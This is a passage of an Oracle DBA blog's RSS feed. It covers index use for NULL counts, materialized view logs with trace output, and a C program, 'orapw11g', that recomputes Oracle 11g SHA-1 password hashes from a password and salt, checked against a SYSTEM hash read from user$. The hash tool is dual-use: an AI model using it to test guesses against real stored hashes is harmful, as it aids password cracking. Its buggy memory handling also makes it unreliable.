&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Predicate Information (identified by operation id):<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>   2 &#8211; filter(&#8220;ID&#8221; IS NULL)</p>
<p>Statistics<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
          0  recursive calls<br />
          0  db block gets<br />
        772  consistent gets<br />
          0  physical reads<br />
          0  redo size<br />
        411  bytes sent via SQL*Net to client<br />
        399  bytes received via SQL*Net from client<br />
          2  SQL*Net roundtrips to/from client<br />
          0  sorts (memory)<br />
          0  sorts (disk)<br />
          1  rows processed<br />
<a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> index idx_t_id on t(id);<br />
Index created.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> count(id) from t where id is null;<br />
 COUNT(ID)<br />
&#8212;&#8212;&#8212;-<br />
         0</p>
<p>Execution Plan<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Plan hash value: 1700799834</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| Id  | Operation         | Name     | Rows  | Bytes | Cost (%CPU)| Time     |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|   0 | SELECT STATEMENT  |          |     1 |     4 |     1   (0)| 00:00:01 |<br />
|   1 |  SORT AGGREGATE   |          |     1 |     4 |            |          |<br />
|*  2 |   INDEX RANGE SCAN| IDX_T_ID |     1 |     4 |     1   (0)| 00:00:01 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Predicate Information (identified by operation id):<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>   2 &#8211; access(&#8220;ID&#8221; IS NULL)</p>
<p>Statistics<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
          1  recursive calls<br />
          0  db block gets<br />
          2  consistent gets<br />
          8  physical reads<br />
          0  redo size<br />
        411  bytes sent via SQL*Net to client<br />
        399  bytes received via SQL*Net from client<br />
          2  SQL*Net roundtrips to/from client<br />
          0  sorts (memory)<br />
          0  sorts (disk)<br />
          1  rows processed<br />
There&#8217;s some difference between 9208 and 10203 that if there&#8217;s index on id column, Oralce uses index range scan instead of full table access. It avoids scan table. We can also gain it on 9208 if the id column can be specified as not null.<br />
<a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> count(id) from t where id is not null;<br />
 COUNT(ID)<br />
&#8212;&#8212;&#8212;-<br />
     49999</p>
<p>Execution Plan<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Plan hash value: 3570898368</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| Id  | Operation             | Name     | Rows  | Bytes | Cost (%CPU)| Time     |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
|   0 | SELECT STATEMENT      |          |     1 |     4 |    31   (7)| 00:00:01 |<br />
|   1 |  SORT AGGREGATE       |          |     1 |     4 |            |          |<br />
|*  2 |   INDEX FAST FULL SCAN| IDX_T_ID | 49999 |   195K|    31   (7)| 00:00:01 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Predicate Information (identified by operation id):<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>   2 &#8211; filter(&#8220;ID&#8221; IS NOT NULL)</p>
<p>Statistics<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
          0  recursive calls<br />
          0  db block gets<br />
        117  consistent gets<br />
          0  physical reads<br />
          0  redo size<br />
        414  bytes sent via SQL*Net to client<br />
        399  bytes received via SQL*Net from client<br />
          2  SQL*Net roundtrips to/from client<br />
          0  sorts (memory)<br />
          0  sorts (disk)<br />
          1  rows processed<br />
<a href="mailto:test@TEST&gt;analyze">test@TEST&gt;analyze</a> index idx_t_id validate structure;<br />
Index analyzed.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> HEIGHT,BLOCKS from index_stats;<br />
    HEIGHT     BLOCKS<br />
&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;-<br />
         2        112</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/163/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=163&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2008/11/15/select-countid-from-t-where-id-is-null/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>orapw11g</title>
		<link>http://yaping123.wordpress.com/2008/10/23/orapw11g/</link>
		<comments>http://yaping123.wordpress.com/2008/10/23/orapw11g/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 07:17:53 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=107</guid>
		<description><![CDATA[I wrote  one C script to generate hash value for Oracle 11g sha1 algorithm. @&#62;alter user system identified by p1; User altered.   @&#62;select NAME,PASSWORD,SPARE4 from user$ where NAME=&#8217;SYSTEM&#8217;; NAME                 PASSWORD                       SPARE4 &#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- SYSTEM    2E1168309B5B9B7A        S:09043B9ABFA366DF41DD16DE6768FDC04C57EF1374E0B04DAC8616716074     [oracle@chen src]$ cat orapw11g.c #include &#60;openssl/sha.h&#62; #include &#60;stdlib.h&#62; #include &#60;string.h&#62; #include &#60;stdio.h&#62; #define SALT_LEN 10 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=107&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I wrote  one C script to generate hash value for Oracle 11g sha1 algorithm.</p>
<p>@&gt;alter user system identified by p1;<br />
User altered.<br />
 <br />
@&gt;select NAME,PASSWORD,SPARE4 from user$ where NAME=&#8217;SYSTEM&#8217;;<br />
NAME                 PASSWORD                       SPARE4<br />
&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
SYSTEM    2E1168309B5B9B7A        S:09043B9ABFA366DF41DD16DE6768FDC04C57EF1374E0B04DAC8616716074<br />
 <br />
 <br />
[oracle@chen src]$ cat orapw11g.c<br />
#include &lt;openssl/sha.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#define SALT_LEN 10<br />
#define HASH_LEN 20<br />
 <br />
/********************************************************<br />
Function: Generate password hash value for Oracle 11g<br />
Author: Yaping Chen<br />
Email: <a href="mailto:yaping123@gmail.com">yaping123@gmail.com</a><br />
Revised: Yaping Chen, 2008/10<br />
Comment: Compiled with gcc 3.2.3 on RHEL 4<br />
*********************************************************/</p>
<p>main(int argc,char *argv[])<br />
{<br />
  char *md;<br />
  char *pwd;<br />
  char *data;<br />
  char *saltraw;<br />
  char *saltstr;<br />
  int i,n;<br />
  char *c1;<br />
  char *c2;<br />
  char *c5;<br />
  char *c6;</p>
<p>  if (argc!=3) {<br />
     printf(&#8220;Parameters invalid.\nUsage:\nargv[0] pwd salt(hex)\n\n&#8221;);<br />
     return -1;<br />
  }</p>
<p>  if (strlen((char *)argv[2]) != SALT_LEN * 2) {<br />
     printf(&#8220;salt&#8217;s length error, it must be %d in hex\n&#8221;,SALT_LEN*2);<br />
     return -1;<br />
  }<br />
 <br />
  pwd=malloc(strlen((char *)argv[1]));<br />
  saltraw=malloc(SALT_LEN * 2);<br />
  saltstr=malloc(SALT_LEN);<br />
  data=malloc(strlen((char *)argv[1]) + SALT_LEN);<br />
  md=malloc(HASH_LEN);<br />
  c1=malloc(2);<br />
  c2=malloc(40);<br />
  c5=malloc(8);<br />
  c6=malloc(8);<br />
 <br />
  if (!pwd || !saltraw || !data || !md || !c1 || !c2 || !c5 || !c6) {<br />
     perror(&#8220;malloc fail&#8221;);<br />
     return -1;<br />
  }<br />
 <br />
  pwd=argv[1];<br />
  saltraw=argv[2];<br />
  for(i=0;i&lt;SALT_LEN;i++) {<br />
     strncpy(c1,saltraw+i*2,2);<br />
     sscanf(c1,&#8221;%X&#8221;,&amp;n);<br />
     saltstr[i]=(char)n;<br />
  }<br />
 <br />
  memcpy(data,pwd,strlen((char*)pwd));<br />
  memcpy(data+strlen((char*)pwd),saltstr,SALT_LEN);<br />
  SHA1(data,strlen((char*)pwd) + SALT_LEN,md);<br />
 <br />
  printf(&#8220;pwd:%s,\tsaltraw:%s,\tsaltstr:%s,\tsha1 value:\n&#8221;,pwd,saltraw,saltstr);<br />
  for(i=0;i&lt;HASH_LEN;i++) {<br />
     sprintf(c5,&#8221;%X&#8221;,md[i]);<br />
     sprintf(c6,&#8221;%s&#8221;,c5);<br />
     n=strlen(c6);<br />
     if (n == 1) {<br />
        c2[i*2]=&#8217;0&#8242;;<br />
        c2[i*2 + 1]=c6[0];<br />
     }<br />
     else if (n == 2) {<br />
        c2[i*2]=c6[0];<br />
        c2[i*2 + 1]=c6[1];<br />
     }<br />
     else {<br />
        c2[i*2]=c6[n-2];<br />
        c2[i*2 + 1]=c6[n-1];<br />
     }<br />
  }<br />
  printf(&#8220;%s\n\n&#8221;,c2);<br />
  return 0;<br />
}</p>
<p>[oracle@chen src]$ gcc orapw11g.c -lssl -o orapw11g<br />
[oracle@chen src]$<br />
[oracle@chen src]$<br />
[oracle@chen src]$ ./orapw11g p1 74E0B04DAC8616716074<br />
pwd:p1, saltraw:74E0B04DAC8616716074,   saltstr:tà°M??q`t,      sha1 value:<br />
09043B9ABFA366DF41DD16DE6768FDC04C57EF13<br />
[oracle@chen src]$</p>
<p>But this script has issue when password contains special symbols.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/107/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=107&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2008/10/23/orapw11g/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>MATERIALIZED VIEW</title>
		<link>http://yaping123.wordpress.com/2008/09/19/materialized-view/</link>
		<comments>http://yaping123.wordpress.com/2008/09/19/materialized-view/#comments</comments>
		<pubDate>Fri, 19 Sep 2008 06:50:06 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[internal]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=103</guid>
		<description><![CDATA[Materialized view basic information test@TEST&#62;create table test.t1(id number,a char(1),b varchar2(1)); Table created. test@TEST&#62;create MATERIALIZED VIEW log on test.t1; create MATERIALIZED VIEW log on test.t1 * ERROR at line 1: ORA-12014: table ‘T1′ does not contain a primary key constraint test@TEST&#62;alter table test.t1 add constraint t1_pk primary key(id); Table altered. test@TEST&#62;create MATERIALIZED VIEW log on test.t1; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=103&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Materialized view basic information</p>
<p><a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> table test.t1(id number,a char(1),b varchar2(1));<br />
Table created.</p>
<p><a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> MATERIALIZED VIEW log on test.t1;<br />
create MATERIALIZED VIEW log on test.t1<br />
*<br />
ERROR at line 1:<br />
ORA-12014: table ‘T1′ does not contain a primary key constraint</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.t1 add constraint t1_pk primary key(id);<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> MATERIALIZED VIEW log on test.t1;<br />
Materialized view log created.</p>
<p><a href="mailto:test@TEST&gt;desc">test@TEST&gt;desc</a> MLOG$_T1<br />
 Name                                                  Null?    Type<br />
 —————————————————– ——– ————————————<br />
 ID                                                             NUMBER<br />
 SNAPTIME$$                                                     DATE<br />
 DMLTYPE$$                                                      VARCHAR2(1)<br />
 OLD_NEW$$                                                      VARCHAR2(1)<br />
 CHANGE_VECTOR$$                                                RAW(255)</p>
<p><a href="mailto:test@TEST&gt;desc">test@TEST&gt;desc</a> RUPD$_T1<br />
 Name                                                  Null?    Type<br />
 —————————————————– ——– ————————————<br />
 ID                                                             NUMBER<br />
 DMLTYPE$$                                                      VARCHAR2(1)<br />
 SNAPID                                                         NUMBER(38)<br />
 CHANGE_VECTOR$$                                                RAW(255)</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1 values(1,’A&#8217;,’B&#8217;);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;delete">test@TEST&gt;delete</a> from test.t1;<br />
1 row deleted.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> ID,DMLTYPE$$,OLD_NEW$$ from MLOG$_T1;<br />
        ID D O<br />
———- &#8211; -<br />
         1 I N<br />
         1 D O</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> * from RUPD$_T1;<br />
no rows selected</p>
<p> <br />
The default clause on create materialized view log is with primary key, so if no clause be specified, primary key on the base table must exist.<br />
The definition of materialized view log (MLOG$_) depends on the specified clause.<br />
Table RUPD$_ only exists when materialized view log uses primary key clause, it’s a special log for updatable snapshots, which would make sense in the context of 2 way replication.</p>
<p> <br />
<a href="mailto:test@TEST&gt;drop">test@TEST&gt;drop</a>  MATERIALIZED VIEW log on test.t1;<br />
Materialized view log dropped.</p>
<p><a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> MATERIALIZED VIEW log on test.t1 with rowid, SEQUENCE;<br />
Materialized view log created.</p>
<p><a href="mailto:test@TEST&gt;desc">test@TEST&gt;desc</a> MLOG$_T1<br />
 Name                                                  Null?    Type<br />
 —————————————————– ——– ————————————<br />
 M_ROW$$                                                        VARCHAR2(255)<br />
 SEQUENCE$$                                                     NUMBER<br />
 SNAPTIME$$                                                     DATE<br />
 DMLTYPE$$                                                      VARCHAR2(1)<br />
 OLD_NEW$$                                                      VARCHAR2(1)<br />
 CHANGE_VECTOR$$                                                RAW(255)</p>
<p><a href="mailto:test@TEST&gt;desc">test@TEST&gt;desc</a> RUPD$_T1<br />
ERROR:<br />
ORA-04043: object RUPD$_T1 does not exist</p>
<p><a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> table test.t2(id number,a char(1), b varchar2(1));<br />
Table created.</p>
<p><a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> MATERIALIZED VIEW log on test.t2 with rowid, SEQUENCE;<br />
Materialized view log created.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1 values(2,’A&#8217;,’B&#8217;);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t2 values(1,’A&#8217;,’B&#8217;);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;update">test@TEST&gt;update</a> test.t1 set a=’C’ where id=2;<br />
1 row updated.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> M_ROW$$,SEQUENCE$$,DMLTYPE$$,OLD_NEW$$ from MLOG$_T1;<br />
M_ROW$$              SEQUENCE$$ D O<br />
——————– ———- &#8211; -<br />
AAAOCJAAFAAAAAyAAB           23 I N<br />
AAAOCJAAFAAAAAyAAB           25 U U<br />
<a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> M_ROW$$,SEQUENCE$$,DMLTYPE$$,OLD_NEW$$ from MLOG$_T2;<br />
M_ROW$$              SEQUENCE$$ D O<br />
——————– ———- &#8211; -<br />
AAAOCOAAFAAAAAiAAA           24 I N<br />
The column SEQUENCE$$ on MLOG$_ records the base table’s changing sequence, all materialized view logs use the same sequence to generate the value. It help Oracle apply updates to materialized view logs in the correct order when a mix of DML commands, e.g. insert, update and delete, are performed on multiple base tables in a single transaction.</p>
<p><a href="mailto:test@TEST&gt;drop">test@TEST&gt;drop</a>  MATERIALIZED VIEW log on test.t1;<br />
Materialized view log dropped.</p>
<p><a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> MATERIALIZED VIEW log on test.t1 with PRIMARY KEY, rowid, SEQUENCE(a,b) including new values;<br />
Materialized view log created.</p>
<p><a href="mailto:test@TEST&gt;desc">test@TEST&gt;desc</a> MLOG$_T1<br />
 Name                                                  Null?    Type<br />
 —————————————————– ——– ————————————<br />
 ID                                                             NUMBER<br />
 A                                                              CHAR(1)<br />
 B                                                              VARCHAR2(1)<br />
 M_ROW$$                                                        VARCHAR2(255)<br />
 SEQUENCE$$                                                     NUMBER<br />
 SNAPTIME$$                                                     DATE<br />
 DMLTYPE$$                                                      VARCHAR2(1)<br />
 OLD_NEW$$                                                      VARCHAR2(1)<br />
 CHANGE_VECTOR$$                                                RAW(255)</p>
<p><a href="mailto:test@TEST&gt;desc">test@TEST&gt;desc</a> RUPD$_T1<br />
 Name                                                  Null?    Type<br />
 —————————————————– ——– ————————————<br />
 ID                                                             NUMBER<br />
 DMLTYPE$$                                                      VARCHAR2(1)<br />
 SNAPID                                                         NUMBER(38)<br />
 CHANGE_VECTOR$$                                                RAW(255)</p>
<p><a href="mailto:test@TEST&gt;CREATE">test@TEST&gt;CREATE</a> MATERIALIZED VIEW test.mv_t1 build immediate refresh force on demand<br />
  2  as select * from test.t1;<br />
Materialized view created.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> object_id,object_name,object_type from user_objects where OBJECT_TYPE not in (’PROCEDURE’,&#8217;FUNCTION’,&#8217;DATABASE LINK’);<br />
 OBJECT_ID OBJECT_NAME                    OBJECT_TYPE<br />
———- —————————— ——————-<br />
     57482 T1_PK                          INDEX<br />
     57505 RUPD$_T1                       TABLE<br />
     57506 MV_T1                          TABLE<br />
     57507 T1_PK1                         INDEX<br />
     57508 MV_T1                          MATERIALIZED VIEW<br />
     57504 MLOG$_T1                       TABLE<br />
     57481 T1                             TABLE<br />
7 rows selected.<br />
After create materialized view, one materialized view, one table with the same name as materialized view, one index on the table are created automatically.<br />
Materialized view refresh</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1 values(1,’A&#8217;,’B&#8217;);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;update">test@TEST&gt;update</a> test.t1 set a=’a&#8217;,b=’b’ where id=2;<br />
1 row updated.</p>
<p><a href="mailto:test@TEST&gt;commit">test@TEST&gt;commit</a>;<br />
Commit complete.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1 values(3,’A&#8217;,’B&#8217;);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> ID,A,B,M_ROW$$,SEQUENCE$$,DMLTYPE$$,OLD_NEW$$ from MLOG$_T1;<br />
        ID A B M_ROW$$              SEQUENCE$$ D O<br />
———- &#8211; - ——————– ———- &#8211; -<br />
         1 A B AAAOCJAAFAAAAAyAAC           26 I N<br />
         2 C B AAAOCJAAFAAAAAyAAB           27 U O<br />
         2 a b AAAOCJAAFAAAAAyAAB           28 U N<br />
         3 A B AAAOCJAAFAAAAAyAAA           29 I N</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> session set events ‘10046 trace name context forever,level 12′;<br />
Session altered.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.refresh(’MV_T1′,’F&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> * from mv_t1;<br />
        ID A B<br />
———- &#8211; -<br />
         2 a b<br />
         1 A B<br />
         3 A B</p>
<p><a href="mailto:sys@TEST&gt;select">sys@TEST&gt;select</a> * from test.t1;<br />
        ID A B<br />
———- &#8211; -<br />
         3 A B<br />
         2 a b<br />
         1 A B<br />
…<br />
PARSING IN CURSOR #5 len=45 dep=0 uid=66 oct=47 lid=66 tim=1177042417020396 hv=3981352777 ad=’288fbcc8′<br />
BEGIN dbms_mview.refresh(’MV_T1′,’F&#8217;); END;<br />
END OF STMT<br />
PARSE #5:c=999,e=1439,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=1,tim=1177042417020386<br />
BINDS #5:<br />
=====================<br />
PARSING IN CURSOR #10 len=11 dep=1 uid=0 oct=44 lid=0 tim=1177042417021593 hv=1180858989 ad=’0′<br />
COMMIT WORK<br />
END OF STMT<br />
PARSE #10:c=0,e=126,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=0,tim=1177042417021584<br />
XCTEND rlbk=0, rd_only=0<br />
EXEC #10:c=3000,e=3190,p=0,cr=0,cu=1,mis=0,r=0,dep=1,og=0,tim=1177042417024940<br />
…<br />
PARSING IN CURSOR #23 len=241 dep=1 uid=66 oct=3 lid=66 tim=1177042417243005 hv=1545147654 ad=’289d935c’<br />
SELECT DISTINCT LOG$.”ID” FROM (SELECT MLOG$.”ID” FROM “TEST”.”MLOG$_T1″ MLOG$ WHERE “SNAPTIME$$” &gt; :1 AND (”DMLTYPE$$” != ‘I’)) LOG$ WHERE (LOG$.”ID”) NOT IN (SELECT MAS_TAB$.”ID” FROM “TEST”.”T1″ “MAS_TAB$” WHERE LOG$.”ID” = MAS_TAB$.”ID”)<br />
END OF STMT<br />
PARSE #23:c=1000,e=649,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=1,tim=1177042417243001<br />
…<br />
PARSING IN CURSOR #23 len=277 dep=1 uid=66 oct=3 lid=66 tim=1177042417256460 hv=354087628 ad=’27e4eba0′<br />
SELECT CURRENT$.”ID”,CURRENT$.”A”,CURRENT$.”B” FROM (SELECT “T1″.”ID” “ID”,”T1″.”A” “A”,”T1″.”B” “B” FROM “TEST”.”T1″ “T1″) CURRENT$, (SELECT DISTINCT MLOG$.”ID” FROM “TEST”.”MLOG$_T1″ MLOG$ WHERE “SNAPTIME$$” &gt; :1 AND (”DMLTYPE$$” != ‘D’)) LOG$ WHERE CURRENT$.”ID” = LOG$.”ID”<br />
END OF STMT<br />
PARSE #23:c=999,e=554,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=1,tim=1177042417256456<br />
…<br />
PARSING IN CURSOR #14 len=69 dep=2 uid=66 oct=6 lid=66 tim=1177042417280452 hv=1853616947 ad=’27d0c5f0′<br />
UPDATE “TEST”.”MV_T1″ SET “ID” = :1,”A” = :2,”B” = :3 WHERE “ID” = :1<br />
END OF STMT<br />
PARSE #14:c=0,e=226,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=1,tim=1177042417280445<br />
BINDS #14:<br />
kkscoacd<br />
 Bind#0<br />
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0<br />
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09<br />
  value=1<br />
 Bind#1<br />
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09<br />
  value=”A”<br />
 Bind#2<br />
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
